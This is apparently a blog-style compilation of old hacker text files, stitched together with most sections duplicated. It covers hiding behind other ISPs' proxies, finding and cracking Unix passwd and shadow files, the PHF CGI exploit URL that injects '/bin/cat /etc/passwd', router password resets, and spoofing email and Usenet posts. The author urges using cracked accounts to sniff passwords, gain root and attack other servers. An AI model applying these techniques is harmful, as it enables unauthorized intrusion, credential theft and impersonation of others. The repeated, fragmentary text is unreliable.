dtc Distributed Transaction Coordinator
dom COM+
WBEM Windows Management Instrumentation
Pinball Pinball game
MSWordPad WordPad
msmsgs Windows Messenger
You might run into a few gotchas when trying to remove "uninstallable" components. On some systems, you simply won't be able to remove Windows Messenger because Windows Messenger won't show up on the Windows Components Wizard even after you edit the sysoc.inf file. And some components, such as Terminal Server, will show up in the wizard if you edit the sysoc.inf file, but the wizard still won't let you uninstall them. 2.9.1. Hide Components You Don't Want to Be Uninstalled You can use this same technique in reverse to hide components you don't want to be uninstalled accidentally. Simply put the word HIDE in the proper place in the entry that you don't want to show up in the Windows Components Wizard. For example, if you want to hide the uninstall entry for the fax utility, edit its entry by changing:Fax=fxsocm.dll,FaxOc mSetupProc,fxsocm.inf,,7
to:Fax=fxsocm.dll,FaxOcmSetup Proc,fxsocm.inf,HIDE,7
Using web proxies to disguise your IP address.
Using web proxies to disguise your IP address.
-------------------------------- -------------------------------- ------
-------------------------------- -------------------------------- ------
-------------------------- A lot of people have been concerned
recently about their anonymity on the internet. Deleting cookies etc.
and paying money for services like the anonymizer. Well here's an easy
(and free) way to get around this problem. Use the proxy machines of
other servers.
-------------------------------- -------------------------------- ------
-------------------------- Finding them is pretty easy, the best way
is probably the ping program. From a MS-DOS window in Win95 (or from
your shell) type: ping proxy.name-of-some-isp.net If you a message
like 'bad IP' then there's no such machine but if you get ICMP echo
information, then obviously there is. Also you can try looking around
the isp/companies web site for information, or perhaps a forged
(probably too busy, unconcerned to check.) email to the system admin
asking if they have a proxy machine. If you need the addresses of some
ISPs check out yahoo.com
-------------------------------- -------------------------------- ------
-------------------------- To use a proxy through your web browser, in
Netscape, click on Options|Network Preferences then click on the
'Proxies' tab and check the radio button 'Manual Proxy config' and
then click the 'view' button. Set it up for whatever protocols you
want, (some proxies might only support HTTP) probably FTP and HTTP.
*Most* proxy machines operate on port 8080 but not always. Email the
admin and ask. Be polite :) In Internet Explorer, click View|Options|
then click on the 'Connection' tab and set it up a la Netscape.
-------------------------------- -------------------------------- ------
--------------------------- Once you have done this properly, you're
real IP address won't show up on: Guestbooks, counterlogs. WWW Boards.
Java/html chat rooms. Anonymous FTP through your browser. Cookies will
be useless. So don't bother with the anonymizer. Allowed into
'customer only' FTP servers. Many isp's have 'customer only' sections
of their web sites (through CGI) you can access them and find out
stuff about their servers, get free counters etc. *Also* if you have
a "web email" account (Hotmail, Rocketmail, etc.) if you post a
message through the web interface, the IP of the proxy and *not* that
of yours will show up.
-------------------------------- -------------------------------- ------
--------------------------- A WORD OF WARNING. It is probably not safe
to use the proxy for hacking (denial of service attacks via anon ftp
or whatever) as the owner of the proxy machine would probably give
away your IP address to whoever you've been picking on. *Also* some
squid (common) proxies do give your real IP for certain cgi requests.
-------------------------------- -------------------------------- ------
--------------------------- Here are some proxy machines:
proxy.cybercity.dk:8080
proxy.mersinet.co.uk:8080
proxy.compuserve.com:8080
Lots more out there but I don't wanna make it too easy :)
----------------------------
-------------------------------- -------------------------------- ------
-------------------------------- -------------------------------- ------
-------------------------- A lot of people have been concerned
recently about their anonymity on the internet. Deleting cookies etc.
and paying money for services like the anonymizer. Well here's an easy
(and free) way to get around this problem. Use the proxy machines of
other servers.
-------------------------------- -------------------------------- ------
-------------------------- Finding them is pretty easy, the best way
is probably the ping program. From a MS-DOS window in Win95 (or from
your shell) type: ping proxy.name-of-some-isp.net If you a message
like 'bad IP' then there's no such machine but if you get ICMP echo
information, then obviously there is. Also you can try looking around
the isp/companies web site for information, or perhaps a forged
(probably too busy, unconcerned to check.) email to the system admin
asking if they have a proxy machine. If you need the addresses of some
ISPs check out yahoo.com
-------------------------------- -------------------------------- ------
-------------------------- To use a proxy through your web browser, in
Netscape, click on Options|Network Preferences then click on the
'Proxies' tab and check the radio button 'Manual Proxy config' and
then click the 'view' button. Set it up for whatever protocols you
want, (some proxies might only support HTTP) probably FTP and HTTP.
*Most* proxy machines operate on port 8080 but not always. Email the
admin and ask. Be polite :) In Internet Explorer, click View|Options|
then click on the 'Connection' tab and set it up a la Netscape.
-------------------------------- -------------------------------- ------
--------------------------- Once you have done this properly, you're
real IP address won't show up on: Guestbooks, counterlogs. WWW Boards.
Java/html chat rooms. Anonymous FTP through your browser. Cookies will
be useless. So don't bother with the anonymizer. Allowed into
'customer only' FTP servers. Many isp's have 'customer only' sections
of their web sites (through CGI) you can access them and find out
stuff about their servers, get free counters etc. *Also* if you have
a "web email" account (Hotmail, Rocketmail, etc.) if you post a
message through the web interface, the IP of the proxy and *not* that
of yours will show up.
-------------------------------- -------------------------------- ------
--------------------------- A WORD OF WARNING. It is probably not safe
to use the proxy for hacking (denial of service attacks via anon ftp
or whatever) as the owner of the proxy machine would probably give
away your IP address to whoever you've been picking on. *Also* some
squid (common) proxies do give your real IP for certain cgi requests.
-------------------------------- -------------------------------- ------
--------------------------- Here are some proxy machines:
proxy.cybercity.dk:8080
proxy.mersinet.co.uk:8080
proxy.compuserve.com:8080
Lots more out there but I don't wanna make it too easy :)
----------------------------
ULTIMATE GUIDE FOR PASSWORD FILES. part 2
5. Shadowed Passwd's
Now if you happen to find a passwd fiel that looks something like this: "joetest:*:102 :100::/home/joetest:/usr/bin/re stsh"
which has a user name, not a programs, you have a shadowed passwd. The shadow file has the encrypted passwords on it. Depending on the Operating System, the passwd file may be in different places. To find out what Operating system your target is running from telnet (connected to that server of course) type uname -a and it should say, if you cannot get to telnet there is other methods of finding out. Here is a guide to systems passwd file locations (taken from a text on passwd files by Kryto.) A token is the * (or other symbol) beside a shadowed passwds user name
UNIX Paths (Courtesy of 2600)
UNIX Path Token
----------------------------AIX 3 /etc/security/passwd !
or /tcb/auth/files/first letter #
A/UX 3.0 s /tcb/files/auth/?/ * BSD4.3 -Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd [.dir|.pag] * SCO Unix #.2 .x /tcb/auth/files/ / * SunOS4.1+ c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow optional NIS+ private secure maps/tables/whatever
System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb * Anyway once you have the passwd file (with user names) and shadow file you can find a unshadowing program which combines the passwd file and the shadow passwd and combines them into what a regualr passwd file would be. A unshadowing program can be found at http://www.hackersclub.com/k m/downloads/password_crack er/ucfjohn2.zip Now some servers have the shadow file on retrictions so no one without a special account on the server can get to it.
________________________6. Crackers
Now that you have gotten a passwd file, what the hell do you do it it to get passwords from it? Thats where crackers come in.
A cracker takes the passwd file and a wordlist and compares the wordlist to the passwd files encrypted passwd. I have used many different crackers. Everyone has their favorite. My personal favorite is one called PaceCrack95 Ver. 1.1
http://tms.netrom.com/~cassi dy/utils/pacec.zip
Many people swear that John the Ripper is the greatest but i have problems with it, but it can be gotten off any decent hacking page. Same for Cracker Jack. A Cracker will load a wordlist and a passwd file and compare the two. When it cracks a password it will tell you the user name and the unencrypted password. You don't need to write it down because the program auto saves it. Cracker Jack saves the file as jack.pot and i think John the Ripper does too. PaceCrack95 Ver. 1.1 saves it to the files name (ex., passwd.txt.db) with the exact name and makes it a.DB file. I like to keep a passwd file once i have cracked it and later try out a new passwd cracker on it with the same wordlist and see if it works or if it is fake. It helps
________________________7. Wordlists
Wordlists are a nessicity to cracking passwd files. They are just huge lists of words. The biggest wordlist is avaliable from here: ftp://ftp.ox.ac.uk/pub/wordlists/
If you get a passwd file from another contry get a wordlist with the same launguage as the worlist came from, as the users would probably use words they are familier with There are some programs which can make random numbers to what you specify but that might not be really great, since there is such a huge amount of number combinations they could use. I am not completly saying they are useless since i have cracked a password with one before, I had fashoned my own list of 4 digit numbers since people might use their phone number and well it worked
________________________8. What to do with a Cracked Passwd file
What you can do with a passwd is up to you. The nice thing to do is inform the administator of the server that, accounts on his (or her) server are insucure and possibly open to anyone hacking an account and bringing havok upon their server. Some other things you can do is fire up good ole telnet and connect to one of theirrts and see what you could do with that account. The possiblities are endless. You could hack a webpage (i wouldn't do that on account of how lame it is to destruct someones piece of work.)
You could use an exploit in sendmail and get root or install a sniffer on the system and get all the passwords you could ever want from it. You could use the account to do work on OTHER servers that you sure as hell wouldn't want to do from your own. If your account is canceled you can use a hacked accounts dial up till you purchase a new one. Like I said the list goes on and on. I am sure noone wants you doing anything destuctive (its lame anyhow.) And the best thing to do is report the problem to the system admin so, if he finds out he won't freak and call your admin and tell him you have been doing naughty things or even call the cops. I hope this text was informative enough to fufill your needs
Now if you happen to find a passwd fiel that looks something like this: "joetest:*:102 :100::/home/joetest:/usr/bin/re stsh"
which has a user name, not a programs, you have a shadowed passwd. The shadow file has the encrypted passwords on it. Depending on the Operating System, the passwd file may be in different places. To find out what Operating system your target is running from telnet (connected to that server of course) type uname -a and it should say, if you cannot get to telnet there is other methods of finding out. Here is a guide to systems passwd file locations (taken from a text on passwd files by Kryto.) A token is the * (or other symbol) beside a shadowed passwds user name
UNIX Paths (Courtesy of 2600)
UNIX Path Token
----------------------------AIX 3 /etc/security/passwd !
or /tcb/auth/files/first letter #
A/UX 3.0 s /tcb/files/auth/?/ * BSD4.3 -Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd [.dir|.pag] * SCO Unix #.2 .x /tcb/auth/files/
System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb * Anyway once you have the passwd file (with user names) and shadow file you can find a unshadowing program which combines the passwd file and the shadow passwd and combines them into what a regualr passwd file would be. A unshadowing program can be found at http://www.hackersclub.com/k m/downloads/password_crack er/ucfjohn2.zip Now some servers have the shadow file on retrictions so no one without a special account on the server can get to it.
________________________6. Crackers
Now that you have gotten a passwd file, what the hell do you do it it to get passwords from it? Thats where crackers come in.
A cracker takes the passwd file and a wordlist and compares the wordlist to the passwd files encrypted passwd. I have used many different crackers. Everyone has their favorite. My personal favorite is one called PaceCrack95 Ver. 1.1
http://tms.netrom.com/~cassi dy/utils/pacec.zip
Many people swear that John the Ripper is the greatest but i have problems with it, but it can be gotten off any decent hacking page. Same for Cracker Jack. A Cracker will load a wordlist and a passwd file and compare the two. When it cracks a password it will tell you the user name and the unencrypted password. You don't need to write it down because the program auto saves it. Cracker Jack saves the file as jack.pot and i think John the Ripper does too. PaceCrack95 Ver. 1.1 saves it to the files name (ex., passwd.txt.db) with the exact name and makes it a.DB file. I like to keep a passwd file once i have cracked it and later try out a new passwd cracker on it with the same wordlist and see if it works or if it is fake. It helps
________________________7. Wordlists
Wordlists are a nessicity to cracking passwd files. They are just huge lists of words. The biggest wordlist is avaliable from here: ftp://ftp.ox.ac.uk/pub/wordlists/
If you get a passwd file from another contry get a wordlist with the same launguage as the worlist came from, as the users would probably use words they are familier with There are some programs which can make random numbers to what you specify but that might not be really great, since there is such a huge amount of number combinations they could use. I am not completly saying they are useless since i have cracked a password with one before, I had fashoned my own list of 4 digit numbers since people might use their phone number and well it worked
________________________8. What to do with a Cracked Passwd file
What you can do with a passwd is up to you. The nice thing to do is inform the administator of the server that, accounts on his (or her) server are insucure and possibly open to anyone hacking an account and bringing havok upon their server. Some other things you can do is fire up good ole telnet and connect to one of theirrts and see what you could do with that account. The possiblities are endless. You could hack a webpage (i wouldn't do that on account of how lame it is to destruct someones piece of work.)
You could use an exploit in sendmail and get root or install a sniffer on the system and get all the passwords you could ever want from it. You could use the account to do work on OTHER servers that you sure as hell wouldn't want to do from your own. If your account is canceled you can use a hacked accounts dial up till you purchase a new one. Like I said the list goes on and on. I am sure noone wants you doing anything destuctive (its lame anyhow.) And the best thing to do is report the problem to the system admin so, if he finds out he won't freak and call your admin and tell him you have been doing naughty things or even call the cops. I hope this text was informative enough to fufill your needs
Password Recovery Techniques Part 2
14. Choose one of these three options:
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase."
15. Type "config term" at the prompt.
16 . Type "config-register 0 x2102" or whatever value you recorded in step
2.
17. Hit Ctrl-Z to quit from the editor.
18. Type "reload" at the prompt. You do not need to write memory.
Technique #3
IGS Routers Running Software Earlier Than 9.1
IGS routers have a bank of DIP switches on the rear panel. If they are
running software earlier than 9.1, then these switches are used for
password recovery.
1. Attach a terminal or PC with terminal emulation to the console port of
the router.
2. Power the router down.
3. Record the settings of the switches on the rear panel.
4 . Set switch 7 ON (or down).
5 . Set switches 0-3 OFF (or up).
6. Power the router up. It will boot up to the > prompt.
7. Type "b" at the > prompt. The router is in test-system mode.
8. Press return until the "Test- System>" prompt appears.
9. Type "enable" at the prompt. You'll be in enable mode and see the
"Test-System#" prompt.
10. Choose one of these three options:
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase".
11 . Restore the switch setting to those recorded in step 3.
12. Reboot the router.
Technique #4
CGS, MGS, AGS, AGS+ , 70 x0 Running ROMs Lower Than 10.0
1. Attach a terminal or PC with terminal emulation to the console port of
the router.
2. Power the router down.
3 . Remove the processor card (CSC/2 or CSC/3 or CSC/4 on AGS/CGS/MGS, or
RP on a 70 x0).
4 . Change the hardware register from bit position 0 (or 1) to position
15.
5. Re-insert the processor card.
6. Power the router up.
7. Press "b" at the > prompt or "b flash" if you have Flash memory
installed.
8. Press return until the "Test- System>" prompt appears.
9. Type "enable" at the prompt. You'll be in enable mode and see the
"Test-System#" prompt.
10. Choose one of these three options:
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase."
11. Power the router down.
12 . Remove the processor card and return the jumper on pin 15 to its
original position.
13. Power the router up.
Technique #5
500-CS Communication Servers
The password cannot be recovered from the 500-CS since it does not have a
console port. Your only option is to erase the configuration.
1. Power the router off by unplugging it.
2. Depress and hold the DEFAULT button on the front of the chassis.
3. Power the router back on.
4. Watch the OK and LAN LEDs. They will blink on, and then off.
5 . When they blink off (after about 15 seconds), release the DEFAULT
button.
6 . In 2-10 minutes, the 500-CS will enter setup mode as if it was factory
new.
7. Configure the router.
You could also recover a password on a 500 by holding the DEFAULT button
down for 30-45 seconds. The system will then be in test mode, and you can
follow the normal procedure for password recovery. See the earlier sections
for details.
Technique #6
Cisco 1020
You must call the Cisco TAC to recover Cisco 1020 passwords. The 1020 will
issue a password override challenge that can only be interpreted by TAC
personnel.
----------------------------
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase."
15. Type "config term" at the prompt.
16 . Type "config-register 0 x2102" or whatever value you recorded in step
2.
17. Hit Ctrl-Z to quit from the editor.
18. Type "reload" at the prompt. You do not need to write memory.
Technique #3
IGS Routers Running Software Earlier Than 9.1
IGS routers have a bank of DIP switches on the rear panel. If they are
running software earlier than 9.1, then these switches are used for
password recovery.
1. Attach a terminal or PC with terminal emulation to the console port of
the router.
2. Power the router down.
3. Record the settings of the switches on the rear panel.
4 . Set switch 7 ON (or down).
5 . Set switches 0-3 OFF (or up).
6. Power the router up. It will boot up to the > prompt.
7. Type "b" at the > prompt. The router is in test-system mode.
8. Press return until the "Test- System>" prompt appears.
9. Type "enable" at the prompt. You'll be in enable mode and see the
"Test-System#" prompt.
10. Choose one of these three options:
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase".
11 . Restore the switch setting to those recorded in step 3.
12. Reboot the router.
Technique #4
CGS, MGS, AGS, AGS+ , 70 x0 Running ROMs Lower Than 10.0
1. Attach a terminal or PC with terminal emulation to the console port of
the router.
2. Power the router down.
3 . Remove the processor card (CSC/2 or CSC/3 or CSC/4 on AGS/CGS/MGS, or
RP on a 70 x0).
4 . Change the hardware register from bit position 0 (or 1) to position
15.
5. Re-insert the processor card.
6. Power the router up.
7. Press "b" at the > prompt or "b flash" if you have Flash memory
installed.
8. Press return until the "Test- System>" prompt appears.
9. Type "enable" at the prompt. You'll be in enable mode and see the
"Test-System#" prompt.
10. Choose one of these three options:
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase."
11. Power the router down.
12 . Remove the processor card and return the jumper on pin 15 to its
original position.
13. Power the router up.
Technique #5
500-CS Communication Servers
The password cannot be recovered from the 500-CS since it does not have a
console port. Your only option is to erase the configuration.
1. Power the router off by unplugging it.
2. Depress and hold the DEFAULT button on the front of the chassis.
3. Power the router back on.
4. Watch the OK and LAN LEDs. They will blink on, and then off.
5 . When they blink off (after about 15 seconds), release the DEFAULT
button.
6 . In 2-10 minutes, the 500-CS will enter setup mode as if it was factory
new.
7. Configure the router.
You could also recover a password on a 500 by holding the DEFAULT button
down for 30-45 seconds. The system will then be in test mode, and you can
follow the normal procedure for password recovery. See the earlier sections
for details.
Technique #6
Cisco 1020
You must call the Cisco TAC to recover Cisco 1020 passwords. The 1020 will
issue a password override challenge that can only be interpreted by TAC
personnel.
----------------------------
Cracking Unix passwords
Cracking Unix passwords:
Contrary to popular belief, UNIX passwords cannot be decrypted. UNIX
passwords are encrypted with a one way function. The login program encrypts
the text you enter at the "Password:" prompt and compares that encrypted
string against the encrypted form of your password.
Password cracking software uses wordlists. Each word in the wordlist is
encrypted and the results are compared to the encrypted form of the target
password.
The best cracking program for UNIX passwords is currently Crack by Alec
Muffett. For PC-DOS, the best package to use is currently CrackerJack.
Password Shadowing:
Password shadowing is a security system where the encrypted password field
of /etc/passwd is replaced with a special token and the encrypted password
is stored in a separate file which is not readable by normal system users.
To defeat password shadowing on many (but not all) systems, write a program
that uses successive calls to getpwent() to obtain the password file.
Finding the shadowed password:
UNIX Path Token
-------------------------------- -------------------------------- -
AIX 3 /etc/security/passwd !
/tcb/auth/files/[first letter #
of username]/[username]
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO UNIX #.2.x /tcb/auth/files/[first letter *
of username]/[username]
SunOS4.1+ c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
[optional NIS+ private secure maps/tables/whatever]
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
Contrary to popular belief, UNIX passwords cannot be decrypted. UNIX
passwords are encrypted with a one way function. The login program encrypts
the text you enter at the "Password:" prompt and compares that encrypted
string against the encrypted form of your password.
Password cracking software uses wordlists. Each word in the wordlist is
encrypted and the results are compared to the encrypted form of the target
password.
The best cracking program for UNIX passwords is currently Crack by Alec
Muffett. For PC-DOS, the best package to use is currently CrackerJack.
Password Shadowing:
Password shadowing is a security system where the encrypted password field
of /etc/passwd is replaced with a special token and the encrypted password
is stored in a separate file which is not readable by normal system users.
To defeat password shadowing on many (but not all) systems, write a program
that uses successive calls to getpwent() to obtain the password file.
Finding the shadowed password:
UNIX Path Token
-------------------------------- -------------------------------- -
AIX 3 /etc/security/passwd !
/tcb/auth/files/[first letter #
of username]/[username]
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO UNIX #.2.x /tcb/auth/files/[first letter *
of username]/[username]
SunOS4.1+ c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
[optional NIS+ private secure maps/tables/whatever]
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
HACKING WEBPAGES...
Getting the Password File Through FTP
Ok well one of the easiest ways of getting superuser access is through
anonymous ftp access into a webpage. First you need learn a little about
the password file...
root:User:d7 Bdg:1 n2 HG2 :1127 :20:Superuser
TomJones:p5 Y(h0 tiC:1229 :20:Tom Jones,:/usr/people/tomjones:/b in/csh
BBob:EUyd5 XAAtv2 dA:1129 :20:Billy Bob:/usr/people/bbob:/bin/csh
This is an example of a regular encrypted password file. The Superuser is
the part that gives you root. That's the main part of the file.
root:x:0 :1:Superuser:/:
ftp:x:202 :102 :Anonymous ftp:/u1/ftp:
ftpadmin:x:203 :102 :ftp Administrator:/u1/ftp
This is another example of a password file, only this one has one little
difference, it's shadowed. Shadowed password files don't let you view or
copy the actual encrypted password. This causes problems for the password
cracker and dictionary maker(both explained later in the text). Below is
another example of a shadowed password file:
root:x:0 :1 :0000 - Admin(0000):/:/usr/bin/csh
daemon:x:1 :1 :0000 -Admin(0000):/:
bin:x:2 :2 :0000 - Admin(0000):/usr/bin:
sys:x:3 :3 :0000 -Admin(0000):/:
adm:x:4 :4 :0000 - Admin(0000):/var/adm:
lp:x:71 :8 :0000 - lp(0000):/usr/spool/lp:
smtp:x:0 :0:mail daemon user:/:
uucp:x:5 :5 :0000 - uucp(0000):/usr/lib/uucp:
nuucp:x:9 :9 :0000 - uucp(0000):/var/spool/uucppubl ic:/usr/lib/uucp/uucico
listen:x:37 :4:Network Admin:/usr/net/nls:
nobody:x: 60001 : 60001 :uid no body:/:
noaccess:x: 60002 : 60002 :uid no access:/:
webmastr:x:53 :53:WWW Admin:/export/home/webmastr :/usr/bin/csh
pin4 geo:x:55 :55 :PinPaper Admin:/export/home/webmastr /new/gregY/test/pin4geo:/bin/ false
ftp:x:54 :54:Anonymous FTP:/export/home/anon_ftp:/bi n/false
Shadowed password files have an "x" in the place of a password or sometimes
they are disguised as an * as well.
Now that you know a little more about what the actual password file looks
like you should be able to identify a normal encrypted pw from a shadowed
pw file. We can now go on to talk about how to crack it.
Cracking a password file isn't as complicated as it would seem, although the
files vary from system to system. 1.The first step that you would take is
to download or copy the file. 2. The second step is to find a password
cracker and a dictionary maker. Although it's nearly impossible to find a
good cracker there are a few ok ones out there. I recomend that you look
for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper.
Now for a dictionary maker or a dictionary file... When you start a
cracking prog you will be asked to find the the password file. That's where
a dictionary maker comes in. You can download one from nearly every hacker
page on the net. A dictionary maker finds all the possible letter
combinations with the alphabet that you choose(ASCII, caps, lowercase, and
numeric letters may also be added). We will be releasing our pasword file
to the public soon, it will be called, Psychotic Candy, "The Perfect Drug."
As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives
you.
The PHF Technique
Well I wasn't sure if I should include this section due to the fact that
everybody already knows it and most servers have already found out about
the bug and fixed it. But since I have been asked questions about the phf
I decided to include it.
The phf technique is by far the easiest way of getting a password file
(although it doesn't work 95% of the time). But to do the phf all you do
is open a browser and type in the following link:
http://webpage_goes_here/cgi- bin/phf?Qalias=x%0 a/bin/cat%20/etc/passwd
You replace the webpage_goes_here with the domain. So if you were trying to
get the pw file for www.webpage.com you would type:
http://www.webpage.com/cgi- bin/phf?Qalias=x%0 a/bin/cat%20/etc/passwd
and that's it! You just sit back and copy the file(if it works).
The best way to get root is with an exploit. Exploits will be explained soon.,enjoy
Ok well one of the easiest ways of getting superuser access is through
anonymous ftp access into a webpage. First you need learn a little about
the password file...
root:User:d7 Bdg:1 n2 HG2 :1127 :20:Superuser
TomJones:p5 Y(h0 tiC:1229 :20:Tom Jones,:/usr/people/tomjones:/b in/csh
BBob:EUyd5 XAAtv2 dA:1129 :20:Billy Bob:/usr/people/bbob:/bin/csh
This is an example of a regular encrypted password file. The Superuser is
the part that gives you root. That's the main part of the file.
root:x:0 :1:Superuser:/:
ftp:x:202 :102 :Anonymous ftp:/u1/ftp:
ftpadmin:x:203 :102 :ftp Administrator:/u1/ftp
This is another example of a password file, only this one has one little
difference, it's shadowed. Shadowed password files don't let you view or
copy the actual encrypted password. This causes problems for the password
cracker and dictionary maker(both explained later in the text). Below is
another example of a shadowed password file:
root:x:0 :1 :0000 - Admin(0000):/:/usr/bin/csh
daemon:x:1 :1 :0000 -Admin(0000):/:
bin:x:2 :2 :0000 - Admin(0000):/usr/bin:
sys:x:3 :3 :0000 -Admin(0000):/:
adm:x:4 :4 :0000 - Admin(0000):/var/adm:
lp:x:71 :8 :0000 - lp(0000):/usr/spool/lp:
smtp:x:0 :0:mail daemon user:/:
uucp:x:5 :5 :0000 - uucp(0000):/usr/lib/uucp:
nuucp:x:9 :9 :0000 - uucp(0000):/var/spool/uucppubl ic:/usr/lib/uucp/uucico
listen:x:37 :4:Network Admin:/usr/net/nls:
nobody:x: 60001 : 60001 :uid no body:/:
noaccess:x: 60002 : 60002 :uid no access:/:
webmastr:x:53 :53:WWW Admin:/export/home/webmastr :/usr/bin/csh
pin4 geo:x:55 :55 :PinPaper Admin:/export/home/webmastr /new/gregY/test/pin4geo:/bin/ false
ftp:x:54 :54:Anonymous FTP:/export/home/anon_ftp:/bi n/false
Shadowed password files have an "x" in the place of a password or sometimes
they are disguised as an * as well.
Now that you know a little more about what the actual password file looks
like you should be able to identify a normal encrypted pw from a shadowed
pw file. We can now go on to talk about how to crack it.
Cracking a password file isn't as complicated as it would seem, although the
files vary from system to system. 1.The first step that you would take is
to download or copy the file. 2. The second step is to find a password
cracker and a dictionary maker. Although it's nearly impossible to find a
good cracker there are a few ok ones out there. I recomend that you look
for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper.
Now for a dictionary maker or a dictionary file... When you start a
cracking prog you will be asked to find the the password file. That's where
a dictionary maker comes in. You can download one from nearly every hacker
page on the net. A dictionary maker finds all the possible letter
combinations with the alphabet that you choose(ASCII, caps, lowercase, and
numeric letters may also be added). We will be releasing our pasword file
to the public soon, it will be called, Psychotic Candy, "The Perfect Drug."
As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives
you.
The PHF Technique
Well I wasn't sure if I should include this section due to the fact that
everybody already knows it and most servers have already found out about
the bug and fixed it. But since I have been asked questions about the phf
I decided to include it.
The phf technique is by far the easiest way of getting a password file
(although it doesn't work 95% of the time). But to do the phf all you do
is open a browser and type in the following link:
http://webpage_goes_here/cgi- bin/phf?Qalias=x%0 a/bin/cat%20/etc/passwd
You replace the webpage_goes_here with the domain. So if you were trying to
get the pw file for www.webpage.com you would type:
http://www.webpage.com/cgi- bin/phf?Qalias=x%0 a/bin/cat%20/etc/passwd
and that's it! You just sit back and copy the file(if it works).
The best way to get root is with an exploit. Exploits will be explained soon.,enjoy
Saturday, August 1, 2009
HOW TO SEND FAKE EMAILS?
Telnet to port 25 of the machine you want the
mail to appear to originate from. Enter your message as in this example:
HELO bellcore.com
MAIL FROM:Voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
Please discontinue your silly Clipper initiative.
. QUIT
On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line
will not work. Test by sending yourself fakemail first.
For more information read RFC 822 "Standard for the format of ARPA Internet
text messages."
13. How do I fake posts to UseNet?
Use inews to post. Give inews the following lines:
From:
Newsgroups:
Subject:
Message-ID:
Date:
Organization:
For a moderated newsgroup, inews will also require this line:
Approved:
Then add your post and terminate with.
Example:
From: Eric S. Real
Newsgroups: alt.hackers
Subject: Pathetic bunch of wannabe losers
Message-ID:
Date: Fri, 13 Aug 1994 12 :15 :03
Organization: Moral Majority
A pathetic bunch of wannabe losers is what most of you are, with no
right to steal the honorable title of `hacker' to puff up your silly
adolescent egos. Get stuffed, get lost, and go to jail.
Eric S. Real
^D
Note that many systems will append an Originator: line to your message
header, effectively revealing the account from which the message was
posted.
mail to appear to originate from. Enter your message as in this example:
HELO bellcore.com
MAIL FROM:Voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
Please discontinue your silly Clipper initiative.
. QUIT
On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line
will not work. Test by sending yourself fakemail first.
For more information read RFC 822 "Standard for the format of ARPA Internet
text messages."
13. How do I fake posts to UseNet?
Use inews to post. Give inews the following lines:
From:
Newsgroups:
Subject:
Message-ID:
Date:
Organization:
For a moderated newsgroup, inews will also require this line:
Approved:
Then add your post and terminate with.
Example:
From: Eric S. Real
Newsgroups: alt.hackers
Subject: Pathetic bunch of wannabe losers
Message-ID:
Date: Fri, 13 Aug 1994 12 :15 :03
Organization: Moral Majority
